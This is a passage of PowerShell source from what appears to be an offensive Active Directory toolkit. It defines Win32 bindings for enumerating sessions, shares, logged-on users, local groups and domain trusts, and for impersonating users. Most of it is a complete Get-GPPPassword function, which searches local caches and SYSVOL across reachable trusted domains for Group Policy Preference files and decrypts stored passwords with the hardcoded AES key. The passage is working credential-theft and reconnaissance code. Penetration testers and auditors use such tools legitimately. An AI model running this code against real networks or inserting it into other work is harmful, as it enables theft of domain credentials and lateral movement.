8193$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
8194 ExecEnvId = field 0 UInt32
8195 State = field 1 $WTSConnectState
8196 SessionId = field 2 UInt32
8197 pSessionName = field 3 String -MarshalAs @('LPWStr')
8198 pHostName = field 4 String -MarshalAs @('LPWStr')
8199 pUserName = field 5 String -MarshalAs @('LPWStr')
8200 pDomainName = field 6 String -MarshalAs @('LPWStr')
8201 pFarmName = field 7 String -MarshalAs @('LPWStr')
8202}
8203
8204# the particular WTSQuerySessionInformation result structure
8205$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
8206 AddressFamily = field 0 UInt32
8207 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
8208}
8209
8210# the NetShareEnum result structure
8211$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
8212 Name = field 0 String -MarshalAs @('LPWStr')
8213 Type = field 1 UInt32
8214 Remark = field 2 String -MarshalAs @('LPWStr')
8215}
8216
8217# the NetWkstaUserEnum result structure
8218$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
8219 UserName = field 0 String -MarshalAs @('LPWStr')
8220 LogonDomain = field 1 String -MarshalAs @('LPWStr')
8221 AuthDomains = field 2 String -MarshalAs @('LPWStr')
8222 LogonServer = field 3 String -MarshalAs @('LPWStr')
8223}
8224
8225# the NetSessionEnum result structure
8226$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
8227 CName = field 0 String -MarshalAs @('LPWStr')
8228 UserName = field 1 String -MarshalAs @('LPWStr')
8229 Time = field 2 UInt32
8230 IdleTime = field 3 UInt32
8231}
8232
8233# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
8234$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
8235 SidTypeUser = 1
8236 SidTypeGroup = 2
8237 SidTypeDomain = 3
8238 SidTypeAlias = 4
8239 SidTypeWellKnownGroup = 5
8240 SidTypeDeletedAccount = 6
8241 SidTypeInvalid = 7
8242 SidTypeUnknown = 8
8243 SidTypeComputer = 9
8244}
8245
8246# the NetLocalGroupEnum result structure
8247$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
8248 lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
8249 lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
8250}
8251
8252# the NetLocalGroupGetMembers result structure
8253$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
8254 lgrmi2_sid = field 0 IntPtr
8255 lgrmi2_sidusage = field 1 $SID_NAME_USE
8256 lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
8257}
8258
8259# enums used in DS_DOMAIN_TRUSTS
8260$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
8261 IN_FOREST = 1
8262 DIRECT_OUTBOUND = 2
8263 TREE_ROOT = 4
8264 PRIMARY = 8
8265 NATIVE_MODE = 16
8266 DIRECT_INBOUND = 32
8267} -Bitfield
8268$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
8269 DOWNLEVEL = 1
8270 UPLEVEL = 2
8271 MIT = 3
8272 DCE = 4
8273}
8274$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
8275 NON_TRANSITIVE = 1
8276 UPLEVEL_ONLY = 2
8277 FILTER_SIDS = 4
8278 FOREST_TRANSITIVE = 8
8279 CROSS_ORGANIZATION = 16
8280 WITHIN_FOREST = 32
8281 TREAT_AS_EXTERNAL = 64
8282}
8283
8284# the DsEnumerateDomainTrusts result structure
8285$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
8286 NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
8287 DnsDomainName = field 1 String -MarshalAs @('LPWStr')
8288 Flags = field 2 $DsDomainFlag
8289 ParentIndex = field 3 UInt32
8290 TrustType = field 4 $DsDomainTrustType
8291 TrustAttributes = field 5 $DsDomainTrustAttributes
8292 DomainSid = field 6 IntPtr
8293 DomainGuid = field 7 Guid
8294}
8295
8296# used by WNetAddConnection2W
8297$NETRESOURCEW = struct $Mod NETRESOURCEW @{
8298 dwScope = field 0 UInt32
8299 dwType = field 1 UInt32
8300 dwDisplayType = field 2 UInt32
8301 dwUsage = field 3 UInt32
8302 lpLocalName = field 4 String -MarshalAs @('LPWStr')
8303 lpRemoteName = field 5 String -MarshalAs @('LPWStr')
8304 lpComment = field 6 String -MarshalAs @('LPWStr')
8305 lpProvider = field 7 String -MarshalAs @('LPWStr')
8306}
8307
8308# all of the Win32 API functions we need
8309$FunctionDefinitions = @(
8310 (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8311 (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8312 (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8313 (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8314 (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8315 (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
8316 (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
8317 (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
8318 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
8319 (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
8320 (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
8321 (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
8322 (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
8323 (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
8324 (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
8325 (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
8326 (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
8327 (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
8328 (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
8329 (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
8330 (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
8331 (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
8332 (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
8333)
8334
8335$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
8336$Netapi32 = $Types['netapi32']
8337$Advapi32 = $Types['advapi32']
8338$Wtsapi32 = $Types['wtsapi32']
8339$Mpr = $Types['Mpr']
8340$Kernel32 = $Types['kernel32']
8341
8342
8343function Get-GPPPassword {
8344
8345
8346 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
8347 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
8348 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
8349 [CmdletBinding()]
8350 Param (
8351 [ValidateNotNullOrEmpty()]
8352 [String]
8353 $Server = $Env:USERDNSDOMAIN,
8354
8355 [Switch]
8356 $SearchForest
8357 )
8358
8359 # define helper function that decodes and decrypts password
8360 function Get-DecryptedCpassword {
8361 [CmdletBinding()]
8362 Param (
8363 [string] $Cpassword
8364 )
8365
8366 try {
8367 #Append appropriate padding based on string length
8368 $Mod = ($Cpassword.length % 4)
8369
8370 switch ($Mod) {
8371 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
8372 '2' {$Cpassword += ('=' * (4 - $Mod))}
8373 '3' {$Cpassword += ('=' * (4 - $Mod))}
8374 }
8375
8376 $Base64Decoded = [Convert]::FromBase64String($Cpassword)
8377
8378 # Make sure System.Core is loaded
8379 [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
8380
8381 #Create a new AES .NET Crypto Object
8382 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
8383 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
8384 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
8385
8386 #Set IV to all nulls to prevent dynamic generation of IV value
8387 $AesIV = New-Object Byte[]($AesObject.IV.Length)
8388 $AesObject.IV = $AesIV
8389 $AesObject.Key = $AesKey
8390 $DecryptorObject = $AesObject.CreateDecryptor()
8391 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
8392
8393 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
8394 }
8395
8396 catch { Write-Error $Error[0] }
8397 }
8398
8399 # helper function to parse fields from xml files
8400 function Get-GPPInnerField {
8401 [CmdletBinding()]
8402 Param (
8403 $File
8404 )
8405
8406 try {
8407 $Filename = Split-Path $File -Leaf
8408 [xml] $Xml = Get-Content ($File)
8409
8410 # check for the cpassword field
8411 if ($Xml.innerxml -match 'cpassword') {
8412
8413 $Xml.GetElementsByTagName('Properties') | ForEach-Object {
8414 if ($_.cpassword) {
8415 $Cpassword = $_.cpassword
8416 if ($Cpassword -and ($Cpassword -ne '')) {
8417 $DecryptedPassword = Get-DecryptedCpassword $Cpassword
8418 $Password = $DecryptedPassword
8419 Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
8420 }
8421
8422 if ($_.newName) {
8423 $NewName = $_.newName
8424 }
8425
8426 if ($_.userName) {
8427 $UserName = $_.userName
8428 }
8429 elseif ($_.accountName) {
8430 $UserName = $_.accountName
8431 }
8432 elseif ($_.runAs) {
8433 $UserName = $_.runAs
8434 }
8435
8436 try {
8437 $Changed = $_.ParentNode.changed
8438 }
8439 catch {
8440 Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
8441 }
8442
8443 try {
8444 $NodeName = $_.ParentNode.ParentNode.LocalName
8445 }
8446 catch {
8447 Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
8448 }
8449
8450 if (!($Password)) {$Password = '[BLANK]'}
8451 if (!($UserName)) {$UserName = '[BLANK]'}
8452 if (!($Changed)) {$Changed = '[BLANK]'}
8453 if (!($NewName)) {$NewName = '[BLANK]'}
8454
8455 $GPPPassword = New-Object PSObject
8456 $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
8457 $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
8458 $GPPPassword | Add-Member Noteproperty 'Password' $Password
8459 $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
8460 $GPPPassword | Add-Member Noteproperty 'File' $File
8461 $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
8462 $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
8463 $GPPPassword
8464 }
8465 }
8466 }
8467 }
8468 catch {
8469 Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
8470 }
8471 }
8472
8473 # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
8474 function Get-DomainTrust {
8475 [CmdletBinding()]
8476 Param (
8477 $Domain
8478 )
8479
8480 if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
8481 try {
8482 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
8483 $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
8484 if ($DomainObject) {
8485 $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
8486 }
8487 }
8488 catch {
8489 Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
8490 }
8491
8492 try {
8493 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
8494 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
8495 if ($ForestObject) {
8496 $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
8497 }
8498 }
8499 catch {
8500 Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
8501 }
8502 }
8503 }
8504
8505 # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
8506 function Get-DomainTrustMapping {
8507 [CmdletBinding()]
8508 Param ()
8509
8510 # keep track of domains seen so we don't hit infinite recursion
8511 $SeenDomains = @{}
8512
8513 # our domain stack tracker
8514 $Domains = New-Object System.Collections.Stack
8515
8516 try {
8517 $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
8518 $CurrentDomain
8519 }
8520 catch {
8521 Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
8522 }
8523
8524 if ($CurrentDomain -and $CurrentDomain -ne '') {
8525 $Domains.Push($CurrentDomain)
8526
8527 while($Domains.Count -ne 0) {
8528
8529 $Domain = $Domains.Pop()
8530
8531 # if we haven't seen this domain before
8532 if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
8533
8534 Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
8535
8536 # mark it as seen in our list
8537 $Null = $SeenDomains.Add($Domain, '')
8538
8539 try {
8540 # get all the domain/forest trusts for this domain
8541 Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
8542 # only output if we haven't already seen this domain and if it's pingable
8543 if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
8544 $Null = $Domains.Push($_)
8545 $_
8546 }
8547 }
8548 }
8549 catch {
8550 Write-Verbose "[Get-DomainTrustMapping] Error: $_"
8551 }
8552 }
8553 }
8554 }
8555 }
8556
8557 try {
8558 $XMLFiles = @()
8559 $Domains = @()
8560
8561 $AllUsers = $Env:ALLUSERSPROFILE
8562 if (-not $AllUsers) {
8563 $AllUsers = 'C:\ProgramData'
8564 }
8565
8566 # discover any locally cached GPP .xml files
8567 Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
8568 $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
8569
8570 if ($SearchForest) {
8571 Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
8572 $Domains += Get-DomainTrustMapping
8573 }
8574 else {
8575 if ($Server) {
8576 $Domains += , $Server
8577 }
8578 else {
8579 # in case we're in a SYSTEM context
8580 $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
8581 }
8582 }
8583
8584 $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
8585
8586 ForEach ($Domain in $Domains) {
8587 # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
8588 Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
8589 $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
8590
8591 if($DomainXMLFiles) {
8592 $XMLFiles += $DomainXMLFiles
8593 }
8594 }
8595
8596 if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
8597
8598 Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
8599
8600 ForEach ($File in $XMLFiles) {
8601 $Result = (Get-GppInnerField $File.Fullname)
8602 $Result
8603 }
8604 }
8605
8606 catch { Write-Error $Error[0] }
8607}